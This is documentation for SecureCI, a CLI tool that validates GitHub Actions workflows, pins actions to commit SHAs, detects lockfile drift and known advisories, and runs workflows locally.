secureci validate .github/workflows/ci.yml --contract contract.yml --format sarif > results.sarif
json:{ file, valid, errors: [{ path, message, severity, rule }] }, whereruleis the same id SARIF uses (for examplesecureci/injection). Several files become{ valid, files: [...] }.sarif: a SARIF 2.1.0 log (rulessecureci/validation,secureci/contract,secureci/expression,secureci/injection,secureci/permissions,secureci/dangerous-trigger,secureci/vulnerable-action). Upload it withgithub/codeql-action/upload-sarifto see findings inline on pull requests in GitHub code scanning.
Action inventory and drift (secureci inventory)
secureci inventory lists every action and reusable workflow a workflow uses — resolved recursively into local composite actions and reusable workflows, so wrapped references show up too — and resolves each remote action's tag or branch to the commit SHA it currently points at.
secureci inventory --dry-run # all workflows in .github/workflows, as JSON
secureci inventory .github/workflows/ci.yml --dry-run # one file, as JSON
secureci inventory --dry-run --offline # don't resolve over the network
Each entry carries uses, kind, owner, repo, ref, whether it's pinned to a full commit SHA, the resolvedSha, and the call paths where it appears. Tags and branches are resolved with git ls-remote (or the API when a token is available); --offline resolves only already-pinned refs.
Transitive dependencies. Remote composite actions and remote reusable workflows are downloaded at their resolved commit, and the actions they use are added too, up to 10 levels deep (CLI 0.5.0 or later). These entries carry via: the references that pull them in. Node and Docker actions have no uses: to follow. Downloads use the action cache. With --offline, only already-cached actions are followed. If one can't be downloaded, a warning names it and the actions it uses are left out.
Progress. Online runs print a notice and then progress to stderr, in four phases: resolving tags, reading actions for the actions they use, checking repositories, and checking security advisories. In a terminal each phase updates one line in place (Reading actions [3/12] org/action@v2); in CI logs it prints one line per item. Stdout stays clean, so --dry-run JSON can be piped. --offline reads only the cache and shows no progress.
Repository identity. When the GitHub API answers, each entry also gets ownerId and repoId, GitHub's numeric ids for the repository and its owner. They survive a rename but not a delete-and-recreate.
Drift against secureci.lock
Highly recommended: commit secureci.lock to your repo (like package-lock.json) and run secureci inventory --check in CI. A moved tag — the way the tj-actions/changed-files incident spread — then becomes a failing check instead of a silent compromise.
secureci.lock records what each action reference resolves to today, so you can catch it moving later. It always lives at the repo root (no path to configure).
secureci inventory # bootstrap secureci.lock if missing, else drift-check
secureci inventory --update-lock # (re)write secureci.lock (alias: --update-lockfile)
secureci inventory --check # compare against secureci.lock, fail on drift (alias: --compare)
- Bare
secureci inventorywritessecureci.lockthe first time (when none exists), and drift-checks against it on later runs. --check/--comparealways compares and fails (non-zero) when auses:reference now resolves to a different commit than recorded (a moved tag), a new action isn't in the lock yet, a locked repository's identity changed, or an action can't be verified (below). Use it in CI.--update-lock/--update-lockfileaccepts the current state by rewriting the lock. Review the diff, then commit it.
The lockfile is plain JSON, safe to commit and diff:
{
"version": 2,
"actions": {
"my-org/build-action@v2": {
"commit": "4f1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c",
"owner_id": 1234567,
"repo_id": 7654321
},
"my-org/setup-tool@v1": {
"commit": "9e8d7c6b5a4f3e2d1c0b9a8f7e6d5c4b3a2f1e0d",
"owner_id": 1234567,
"repo_id": 7654322,
"via": ["my-org/build-action@v2"]
}
}
}
- Transitive dependencies are locked too, with
viashowing what pulls each one in. A moved tag inside an action you use fails the check like one in your own workflow. owner_idandrepo_idare recorded when the GitHub API answers, and left out when it doesn't (offline, rate-limited). Anonymous API calls are limited to 60 an hour, so setGITHUB_TOKENfor large repositories.- A changed identity fails
--check. If a locked name now points at a repository with a differentrepo_id(deleted and re-created, the pattern behind repo-jacking) or a differentowner_id(transferred, or the account re-registered), the check fails even when the commit matches. Identity is checked only where the lock records it, and not with--offline. - An action that can't be verified fails
--check. If a tag no longer resolves, or a SHA-pinned action's repository can no longer be read (deleted, renamed or made private), the check fails and names it, with the locked commit (CLI 0.5.1 or later). A pinned commit resolves without the network, so SecureCI makes one lookup per pinned repository to confirm it still exists. A network outage fails the check the same way. With--offline, tags can't be resolved at all, so they are listed in a warning instead. - Version 1 locks still work. A lock written by 0.4.0 or earlier (
{ "owner/repo@ref": "<sha>" }) is still checked; it has no identities, and transitive dependencies show up as new until you run--update-lock, which writes version 2.
GitHub's actions.lock
GitHub's workflow dependency lockfiles (public preview, GitHub.com only) live at .github/workflows/actions.lock and are maintained by gh actions-lock. SecureCI reads them too (CLI 0.3.0 or later):
secureci.lockcomes first. If it exists, SecureCI checks against it and ignoresactions.lock.- Otherwise,
actions.lockis used. Baresecureci inventoryand--checkcompare each action's commit againstactions.lockinstead of creatingsecureci.lock. A moved ref or an action missing from the file fails, with a hint to rungh actions-lock. --update-lockalways writessecureci.lock. Use it to switch a repository to SecureCI's lockfile, for example on GitHub Enterprise Server, whereactions.lockisn't available.
actions.lock lists transitive dependencies and each repository's owner_id and repo_id, so the transitive and identity checks apply to it too. Entries SecureCI doesn't find are never reported as unused, because gh actions-lock may record dependencies SecureCI doesn't follow. Lockfile versions v0.0.2 and v0.0.3 are supported; a newer format fails with a clear error until SecureCI supports it.
Pin actions to commit SHAs (secureci pin)
A tag like @v4 can be moved to different code at any time; a full commit SHA can't. secureci pin rewrites each tag or branch to the commit it points at now, and keeps the tag in a trailing comment so Dependabot and Renovate can still offer updates (CLI 0.6.0 or later):
- uses: actions/checkout@v4
# becomes
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4
secureci pin # every file in .github/workflows, plus the local actions and reusable workflows they use
secureci pin .github/workflows/ci.yml # just this file (local actions it uses aren't followed)
secureci pin --check # change nothing; fail if anything would change (for CI)
secureci pin --contract contracts/standard.yml # leave the contract's pins.allow owners/actions on their tags
secureci pin --offline # use only the action cache, no network
secureci pin --update-lock # then rewrite ./secureci.lock from the pinned workflows
Each change is printed as file:line owner/repo@v4 -> <sha12> (v4), followed by a count.
- What is pinned: step
uses:in workflows and in local composite actions, and reusable-workflow calls (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@v1). - What is left alone: local (
./) anddocker://references, references already pinned to a 40-character SHA, and, with--contract, the owners and actions itspins.allowlists. These are matched the way the contract check matches them (an owner, or the exact action name), sovalidate --contractpasses afterwards. - Formatting is kept. Files are edited in place, never re-serialised: only the value (keeping its single or double quotes) and its trailing comment change. Blank lines, other comments, key order and
- uses:list items stay as they are. Runningpinagain changes nothing. - Comments: with no comment,
# v4is added. An old version comment (# v3,# v3.2.1,# tag=v3) is replaced, keeping any words after it. Any other comment is kept after the tag (# v4 - needed for the audit). When several references share one line (a flow sequence), no comment is added. - Resolution is the same as
inventory's:git ls-remote, or the GitHub API when a token is available (GITHUB_TOKEN,GH_TOKENorgh auth token). Each distinct reference is looked up once.--offlineuses only the commits recorded in the action cache by earlierrunorinventoryruns. For a branch (@main) that is the last commit seen, not necessarily the current one. - Unresolvable references (a deleted or private repository, a missing ref, or anything not cached with
--offline) are reported with their file and line and left unchanged.pinstill pins everything else and exits 0;pin --checkexits non-zero. A reference with no@ref, or one written as a YAML block scalar, is reported the same way. --checkwrites nothing and exits non-zero if any reference would be pinned or can't be resolved. Use it in CI to keep workflows pinned.--update-lockrunsinventory --update-lockafter pinning, sosecureci.lockrecords the newowner/repo@<sha>references. It can't be combined with--check.
Known security advisories
secureci inventory and secureci validate check the actions a workflow uses against the GitHub Advisory Database and report published vulnerabilities, such as GHSA-mrrh-fwg8-r2c3 in tj-actions/changed-files before 46.0.1 (CLI 0.6.0 or later).
[ERROR] [ERROR] jobs.build.steps[3]: tj-actions/[email protected] has a known security advisory: GHSA-mrrh-fwg8-r2c3 (CVE-2025-30066, high): ... Affected versions: < 46.0.1; first patched version: 46.0.1. https://github.com/advisories/GHSA-mrrh-fwg8-r2c3
- What is checked.
inventorychecks every action it lists, including transitive ones, at the commit each resolved to.validatechecks the file's ownuses:references, including those in local composite actions and local reusable workflows it calls. It doesn't download remote actions to look inside them. - How the version is found. A full release tag (
v45.0.7) is compared as is. A SHA pin, or a moving tag such asv4, is mapped to the most specific release tag (x.y.z) at the same commit, usinggit ls-remote --tags. Tags are only listed for a repository that has advisories. The version is then compared with each advisory's affected range, such as< 46.0.1or>= 1.0, < 2.3.4. - Moving tags that can't be mapped. If tags can't be listed (offline, or the repository can't be read anonymously),
v4is compared as4.0.0, its lowest possible release. A match is reported as may be affected, always as a warning, never an error, because the release the tag points at isn't known. Pin a release tag or commit to check it exactly. An affected range that can't be read is reported the same way. - Unknown versions. A commit that isn't at any release tag, or a branch, has no version to compare. If its repository has advisories, an info line names them as an
unknown version. It isn't counted as a finding. - Severity. In
validate, findings use the rulesecureci/vulnerable-action. Critical and high advisories are errors that fail validation. Medium, low and unrated ones are warnings. A contract can change the threshold withadvisories: fail-on.inventoryreports findings (errors and warnings in text, anadvisoriesarray in--dry-runJSON), but they don't change its exit code. Usevalidateto gate on them. --dry-runJSON. Each entry inadvisorieshasuses,ghsaId,cveId,severity,summary,url, the affectedrange,firstPatched, theversioncompared,approximate(the "may be affected" case) andpath.advisoryUnknownVersionslists{ uses, advisories }for references whose version couldn't be found.
Network, rate limits and caching. Each distinct owner/repo is one request to the REST API: GET /advisories?ecosystem=actions&affects=owner/repo on GITHUB_API_URL, or on GitHub Enterprise Server's API when GITHUB_SERVER_URL is set. Requests use GITHUB_TOKEN/GH_TOKEN or gh auth token when one is available. Advisories are public, so they work without a token, but anonymous requests are limited to 60 an hour. The GitHub Action passes its github-token. Responses are cached per repository under ~/.secureci/advisories/ for 24 hours. Only the first 100 advisories for a repository are read.
- When the API can't answer (network down, rate-limited, or a GitHub Enterprise Server without the advisory database), a warning names the repositories that weren't checked. This doesn't fail the run. A cache older than 24 hours is used if there is one, with a warning.
--offline(on both commands) makes no advisory requests and lists no tags. It uses cached advisories at any age, and warns about repositories with nothing cached. Forvalidate,--offlinealso reads a remote--contractand--contract-recurse allactions only from the action cache.
Use in CI (GitHub Action)
Run the same checks on pull requests with the bundled composite action. It validates your workflows (optionally against a contract) and, by default, uploads a SARIF report so findings show up inline on the PR via GitHub code scanning.
# .github/workflows/secureci.yml
name: SecureCI
on: [pull_request]
permissions:
contents: read
jobs:
secureci:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write # for the SARIF upload
steps:
- uses: actions/checkout@v4
- uses: secure-ci/[email protected] # a release tag; see below
with:
# all inputs are optional
contract: contracts/platform-standard.yml
# files: .github/workflows/*.yml # default: every file in .github/workflows
# format: sarif # or json
# upload-sarif: true # set false to skip code-scanning upload
# inventory: check # also fail when an action tag moved (needs a committed secureci.lock)
The job fails if any workflow is invalid or violates the contract. Inputs: files, contract, contract-recurse, format, output, upload-sarif, inventory (check to also run secureci inventory --check against secureci.lock, or GitHub's actions.lock when that is the only lockfile), version (which @secureci/cli to run), and github-token.
Reference the action by a release tag such as v0.7.0. There is no moving major tag (@v1, @v0), so a ref like that won't resolve. secureci init workflow fills in the tag matching your installed CLI. The action runs @secureci/cli from npm via npx; set the version input to pin which CLI release it runs (default latest).
Generate the workflow (secureci init workflow)
secureci init workflow writes the workflow above to .github/workflows/secureci.yml so you don't have to copy it by hand, with the action pinned to the release tag of the CLI you ran it with (secure-ci/cli@v<version>; check yours with secureci --version). (Bare secureci init just prints help and its subcommands.)
secureci init workflow # SARIF upload on (default)
secureci init workflow --contract contracts/standard.yml # also check a pipeline contract
secureci init workflow --no-upload # keep contents: read only, no code-scanning upload
secureci init workflow --output .github/workflows/ci-security.yml
It refuses to overwrite an existing file unless you pass --force, and the file it writes passes secureci validate with no findings: contents: read at the top level, and security-events: write (for the upload) on the job.
Using output as audit evidence
Auditors and assessors increasingly treat the CI pipeline as part of the software supply chain. What SecureCI writes is plain text you can commit, diff and keep, which makes it usable as evidence that a control is in place:
| Artifact | Where it comes from | What it shows |
|---|---|---|
Pipeline contract (e.g. contracts/standard.yml) | You write it; commit it | Your pipeline standard, written down and versioned |
secureci.lock | secureci inventory | An inventory of every third-party action and the commit each tag resolved to |
secureci.lock history | git log -p secureci.lock | When each action was added or changed, and in which commit |
| SARIF / JSON report | secureci validate --format sarif|json | The result of the contract check for a given commit |
| Required check on pull requests | The GitHub Action with inventory: check | Non-conforming or drifted workflows cannot merge |
To keep a report per run, turn on the action's drift check and upload the report as a build artifact:
- uses: secure-ci/[email protected] # writes secureci-results.sarif
with:
contract: contracts/standard.yml
inventory: check # fail on drift against the committed secureci.lock
- uses: actions/upload-artifact@v4
if: always()
with:
name: secureci-evidence
path: secureci-results.sarif
retention-days: 90 # match your audit retention policy
These artifacts support controls; they don't make you compliant on their own. Which controls they help with in PCI DSS, DORA, NIS2, the UK Software Security Code of Practice, ISO/IEC 27001 and SOC 2 is mapped, with what you still need beyond SecureCI, at secure-ci.dev/compliance.
Workflow features
Conditional execution (if:)
Jobs and steps support if: expressions, and ${{ }} works anywhere a value is expected (run:, env:, with:, outputs:). Supported:
- Contexts:
github(includinggithub.event)env,inputs,secrets,matrixsteps(outputs,outcome,conclusion)needs(outputs,result)job.statusrunner(os,arch,temp,tool_cache)vars(set with--var KEY=VALUE)strategy(job-index,job-total,fail-fast,max-parallel)
- Syntax:
.,['key']and*access'string'(with''escapes), number,true/false/nullliterals! < <= > >= == != && ||, with GitHub's loose typing.a || 'default'returns the value, not a boolean.
- Functions:
contains,startsWith,endsWithformat,jointoJSON,fromJSONhashFiles(globs relative to the workspace,!excludes)success(),failure(),always(),cancelled()
As on GitHub, an if: without a status function means success() && (...). After a step fails, later steps are skipped unless their if: uses always() or failure(). A job whose needs didn't all succeed is skipped unless its if: uses one of them.
Invalid if: expressions fail, as on GitHub, and never count as true:
- Checked before anything runs (
run,run --dry-runandvalidate): syntax errors, unknown functions (e.g. a typo likesucess()), wrong argument counts, and contexts not available where they're used. A job'sif:can only usegithub,needs,varsandinputs(notmatrix,stepsorenv), and composite action steps can't usesecrets. The run stops withInvalid workflow file, listing eachjobs.<id>.steps[N].if. - Errors while evaluating (e.g.
fromJSONof invalid JSON) fail that step, or that job, withError when evaluating 'if' for .... Dependents are skipped as for any failure. The same applies topre-ifandpost-if.
steps:
- id: build
run: echo "status=ok" >> $GITHUB_OUTPUT
- if: ${{ steps.build.outputs.status == 'ok' }}
run: echo "Build succeeded"
Job dependencies (needs:)
Jobs declaring needs: are executed in dependency order (topological sort):
jobs:
build:
runs-on: ubuntu-latest
steps: [...]
test:
needs: build
runs-on: ubuntu-latest
steps: [...]
Parallel jobs (--parallel)
Like on GitHub, jobs run concurrently: a job starts as soon as every job it needs: is done, and matrix combinations run side by side (CLI 0.6.0 or later).
| Flag | Description |
|---|---|
--parallel <n> | Run up to n jobs at once, counting each matrix combination as a job. Default: the number of CPUs. 1 runs jobs one after another, in order |
secureci run .github/workflows/ci.yml --parallel 4
secureci run .github/workflows/ci.yml --parallel 1 # sequential
secureci config set parallel 2 # persist a default
if:, skipping and failure propagation are the same as when running sequentially: a job whose dependency failed, was skipped or was cancelled is skipped unless itsif:uses a status function such asalways().strategy.max-parallellimits a matrix's combinations running at once, within the--parallellimit. The jobs of a called reusable workflow share the same limit.strategy.fail-fast(defaulttrue): when a combination fails, the combinations of the same matrix that are still waiting don't start and those running are cancelled: the running step is killed, the job's containers and services are removed, and the remaining steps (andpost:steps) don't run. A cancelled job is reported ascancelled("cancelled": truein its result), andneeds.<id>.resultisfailurefor the matrix job. A failure allowed by job-levelcontinue-on-errordoesn't cancel anything.- Each job gets its own container, service network,
$RUNNER_TEMP, step files and container env file. Artifacts and caches are shared by the run as on GitHub, and saving the same cache key from two jobs at once is safe (the first save wins). Remote actions needed by several jobs are downloaded once. - Jobs share the working copy: every job's container mounts the current directory (as does every job on the host). Jobs that write the same files at the same time, such as two matrix combinations both running
npm ci, can interfere; run those with--parallel 1. - Logs: when more than one job can run at a time, every line is prefixed with its job's label, e.g.
[build (node: 20)] [INFO] Running: npm test(a called workflow's jobs as[call / build]). Each job still logs its own step results and itsJob summary (<label>). With--parallel 1, or a single job, output has no prefixes and is the same as before. - The run's results list jobs in workflow order, whichever finished first.
- On the host, a cancelled step's processes are killed with the step's shell; a JavaScript or Docker action that is running when its job is cancelled finishes first.
Service containers (jobs.<id>.services)
Sidecar containers such as databases and caches start before the job's steps and are removed when the job ends (also on failure or Ctrl-C):
- Container mode: the job gets its own network. Each service joins it under its service id, so steps reach it by hostname (
postgres:5432), as on GitHub. - Host mode (
--container-runtime host): services still run in containers (a container runtime is required). Steps reach them through their publishedportsonlocalhost. image,env,ports,volumesandoptions(e.g.--health-cmd ...) are supported. Steps start once every service with a health check reports healthy; an unhealthy service fails the job.credentialsare ignored (log in withdocker login).${{ job.services.<id>.ports['5432'] }}is the host port a container port is published on;job.services.<id>.idand.networkare also set.
Artifacts and caching
(actions/upload-artifact, download-artifact, cache)
These actions normally talk to GitHub's artifact and cache services, so the CLI runs local equivalents with the same inputs, outputs and path rules. Nothing is downloaded or sent anywhere:
actions/upload-artifactstores files in~/.secureci/artifacts/<run-id>/<name>/, which is kept for 7 days. Path rules are the action's own: multi-line paths, globs,!exclusions, structure relative to the paths' common ancestor, and hidden files skipped unlessinclude-hidden-files: true.if-no-files-foundandoverwrite(defaultfalse) are honoured. Outputs:artifact-id,artifact-digest.actions/download-artifactretrieves artifacts uploaded earlier in the same run (github.run_idis shared by all jobs and called workflows):namegoes intopath; without it, every artifact (or those matchingpattern) goes intopath/<name>, or straight intopathwithmerge-multiple: true. Output:download-path.actions/cacherestores the cache forkeyfrom~/.secureci/step-cache/<owner_repo>/, else the newest match for eachrestore-keysprefix, and saves it at the end of a successful job when there was no exact hit. Entries are immutable and versioned bypath, as on GitHub. Outputs:cache-hit(truefor an exact match,falsefor arestore-keysmatch, empty on a miss),cache-primary-key,cache-matched-key.lookup-onlyandfail-on-cache-missare supported, as areactions/cache/restoreandactions/cache/save.- In container mode, workspace paths are read and written directly. Other paths, such as
~/.npminside the job container, are copied in and out of the container.
Matrix builds (strategy.matrix)
A job runs once per matrix combination (in parallel, see Parallel jobs), with matrix.* and strategy.* in its context and the combination in its name, e.g. test (node: 20, os: linux):
- Combinations are expanded as on GitHub: the product of the axes, minus
excludematches (on all of an entry's keys), thenincludeentries merged into every combination whose original values they don't change, or added as new combinations. - The matrix, or any axis, can be an expression, e.g.
matrix: ${{ fromJSON(needs.setup.outputs.matrix) }}. fail-fast(defaulttrue) cancels the running combinations and skips those not yet started after a failure. Job-levelcontinue-on-error(e.g.${{ matrix.experimental }}) lets a combination fail without failing the job, its dependents or the run, and without cancelling the others.max-parallellimits how many combinations run at once (also capped by--parallel). Outputs of a matrix job (needs.<id>.outputs) are merged in combination order, so the last combination's value wins, whichever finished last.run --dry-runlists each matrix job's combinations (or notes that the matrix is only known at run time), and, likerun, shows only the--jobjob when one is given.
Running a subset of combinations (--matrix)
secureci run .github/workflows/test.yml --job test --matrix node:20 --matrix os:ubuntu-latest
secureci run .github/workflows/test.yml --matrix node:18 --matrix node:20 --dry-run
--matrix key:value (repeatable) runs only the combinations that match, for both run and run --dry-run (CLI 0.6.0 or later):
- Combinations are filtered after
include/excludeexpansion, so an excluded combination can't be selected, while combinations added byinclude(and keys merged in by it) can. - The argument is split on the first colon, so values may contain colons:
--matrix image:node:20-alpine. - Values compare as text, as they appear in the job name:
--matrix node:20matches20and"20",--matrix experimental:truematches the booleantrue, and object values compare as compact JSON (--matrix 'cfg:{"arch":"arm64"}'). Note that YAML reads3.10as the number3.1, as on GitHub; quote it in the workflow to keep3.10. - Different keys must all match; repeating a key accepts any of its values (
--matrix node:18 --matrix node:20). - A key applies only to jobs whose matrix defines it; jobs without a matrix, or whose matrix doesn't have that key, run as usual. A key that no matrix job defines is ignored with a warning (in
--dry-run, only when every matrix is known before running). - The selected combinations keep their full names and
strategy.job-index/strategy.job-totalfrom the whole matrix, so they behave as they would on GitHub. - When no combination of a job matches, SecureCI warns, lists the available combinations, and skips the job (and the jobs that need it). The run then exits non-zero, so a typo in a CI script doesn't pass silently.
- Matrices from expressions (e.g.
${{ fromJSON(needs.setup.outputs.matrix) }}) are filtered once they're resolved during the run;--dry-runshows them as resolved at run time and doesn't filter them. - The filter applies to the workflow's own jobs (including a job that calls a reusable workflow with a matrix), not to the jobs inside a called workflow.
Reusable workflows (jobs.<id>.uses:)
A job that calls a reusable workflow runs the called workflow's jobs (in their own needs: order) as part of the run:
uses: ./.github/workflows/x.ymlresolves against the repository root, like on GitHub;uses: owner/repo/.github/workflows/x.yml@refis downloaded and cached like a remote action (see Remote Action Support).with:andsecrets:are evaluated in the calling job's context (inputs,needs,vars, ...); inputs fall back to theiron.workflow_call.inputsdefaults. The called workflow only sees the secrets passed to it (plusGITHUB_TOKEN), or all of them withsecrets: inherit.on.workflow_call.outputs(e.g.value: ${{ jobs.build.outputs.version }}) become the calling job's outputs, available asneeds.<id>.outputs.*.- A workflow that can't be found or fetched fails the calling job.
strategy.matrixon a calling job runs the workflow once per combination (matrix.*is available inwith:);needs.<id>.outputsholds the last combination's outputs, as on GitHub.
Shells and defaults.run
run: scripts are written to a file and run the way GitHub's runner does. With no shell:, that's bash --noprofile --norc -eo pipefail {0}, or sh -e {0} when bash isn't installed, so a step fails at its first failing command, including inside a pipeline. shell: bash|sh|python|pwsh|powershell|cmd map to GitHub's templates. Custom templates such as shell: perl {0} work too. defaults.run.shell and defaults.run.working-directory apply at workflow and job level; step-level values win, and they don't apply inside composite actions.
Step outputs
Steps can write to $GITHUB_OUTPUT to expose values to later steps via ${{ steps.<id>.outputs.<name> }}.
File commands and workflow commands
Every step (run:, JavaScript and Docker actions) gets its own $GITHUB_OUTPUT, $GITHUB_ENV, $GITHUB_PATH, $GITHUB_STATE and $GITHUB_STEP_SUMMARY files. Values written to $GITHUB_ENV and directories written to $GITHUB_PATH are available to all later steps in the job ($GITHUB_ENV values also appear in ${{ env.* }}). What steps write to $GITHUB_STEP_SUMMARY is printed at the end of the job.
Workflow commands printed to stdout are interpreted, in both the ::cmd:: and legacy ##[cmd] syntax: ::add-mask::, ::set-output, ::save-state, ::warning::, ::error::, ::notice::, ::debug::, ::group::/::endgroup:: and ::stop-commands::<token> (nothing is interpreted until ::<token>::). Problem matchers (::add-matcher::, ::remove-matcher::) and ::echo:: are hidden.
Composite actions don't get the secrets context, as on GitHub: pass secrets to them as inputs.
Events and the github context
secureci run .github/workflows/ci.yml --event-name pull_request --event-path event.json
github.event_name:--event-name, else$GITHUB_EVENT_NAME, elseworkflow_dispatchif the workflow declares it, else the workflow's first trigger.github.event: the JSON object from--event-path, also written to$GITHUB_EVENT_PATH. Without it,workflow_dispatchgets{ "inputs": {...} }like on GitHub, and other events get{}.github.repository/repository_owner:$GITHUB_REPOSITORY, else the payload'srepository, else parsed from the gitoriginremote, else the folder name.github.sha/refcome from$GITHUB_SHA/$GITHUB_REF, the payload'sref, or local git.inputs.*:--inputvalues over thedefaults declared underon.workflow_dispatch.inputs/on.workflow_call.inputs.
Default environment variables
Steps receive the runner's default variables, derived from the local github context: CI, GITHUB_ACTIONS, GITHUB_WORKFLOW, GITHUB_JOB, GITHUB_SHA, GITHUB_REF, GITHUB_REF_NAME, GITHUB_EVENT_NAME, GITHUB_ACTOR, GITHUB_REPOSITORY, GITHUB_REPOSITORY_OWNER, GITHUB_RUN_ID, GITHUB_RUN_NUMBER, GITHUB_RUN_ATTEMPT, GITHUB_WORKSPACE, GITHUB_EVENT_PATH (see above), RUNNER_OS, RUNNER_TEMP and RUNNER_TOOL_CACHE (~/.secureci/toolcache).
Secret masking
Any value passed via --secret or read from a --secret-file, or registered by a step via ::add-mask::, is automatically masked (***) wherever it appears in log output.
In container mode, env values (secrets included) never appear in the container client's command line: they're passed in a private env file (mode 0600, deleted as soon as the client exits), or, for values an env file can't carry verbatim (multi-line, quote-leading or whitespace-padded), by name with the value in the client's environment. Prefer --secret NAME over --secret NAME=value so the value isn't in the secureci command line either.
Remote action support
SecureCI supports fetching and executing remote GitHub Actions:
- Composite Actions: Full support for composite actions with multiple steps.
- JavaScript Actions (node12, node16, node20, node22+): Runs
mainwith the CLI's own Node.js binary (with the standalone binary, the firstnodeon the step'sPATH, including one added byactions/setup-node; if there is none the step fails with "JavaScript actions need Node.js on PATH when using the standalone binary"), in the workspace, withINPUT_*(fromwith:or the input'sdefault),GITHUB_ACTION_PATHand the file commands above.pre:of remote actions runs at job start, before any step, gated bypre-if(local actions, which usually come from the checkout, run it right beforemain);post:runs at the end of the job in reverse order, gated bypost-if(defaultalways()), with state from$GITHUB_STATEexposed asSTATE_*. - Docker Actions (action type
runs.using: docker): Builds the action's Dockerfile (or pulls adocker://...image) and runs it in its own container. Note: this is distinct from the job container that--container-runtimestarts forrun:steps and JavaScript actions. - Local Actions (
uses: ./path/to/action): Resolved relative to the workspace (the current directory), usingaction.ymloraction.yaml. docker://steps (uses: docker://alpine:3.20): Run the image directly, withwith.argsas its arguments andwith.entrypointas its entrypoint.- Unresolvable actions fail the step: A remote action that can't be fetched, a missing local action, or an unsupported
runs.usingfails the step (as on GitHub) instead of being skipped. - Action Caching: Downloaded repositories are cached in
~/.secureci/actions-cache/<owner>/<repo>/<commit-sha>. A tag or branch (@v4,@main) is resolved to its current commit on every run (git ls-remote, or the API with a token), so moving refs pick up new commits, and an unchanged commit is never downloaded twice. If a ref can't be resolved (offline, rate-limited), the last commit cached for it is used, with a warning.--offlineuses only the cache.secureci cache path/secureci cache clearshow and empty it. - Private actions: With a token, downloads go through the GitHub API, so actions in private and internal repositories work and rate limits are higher. The token is
$GITHUB_TOKEN, else$GH_TOKEN, elsegh auth token. It's only sent to GitHub (not to a host a download redirects to), never passed to actions, and masked in logs. If GitHub rejects it (e.g. expired), the run continues without it.GITHUB_SERVER_URL/GITHUB_API_URLpoint downloads at GitHub Enterprise Server.
# Execute a workflow that uses remote actions
secureci run .github/workflows/ci.yml
# The workflow can include:
# - uses: actions/checkout@v3
# - uses: actions/setup-node@v3
# - uses: owner/repo/action@v1
Try the SecureCI CLI
Free and open source (MIT). Needs Node.js 20+ (or a standalone binary) and, to run workflows, Docker, Podman or containerd.
npm install -g @secureci/cli
secureci validate .github/workflows/ci.yml
secureci run .github/workflows/ci.yml --dry-run
Running GitHub Actions across many repositories? Get early access to org-wide SecureCI →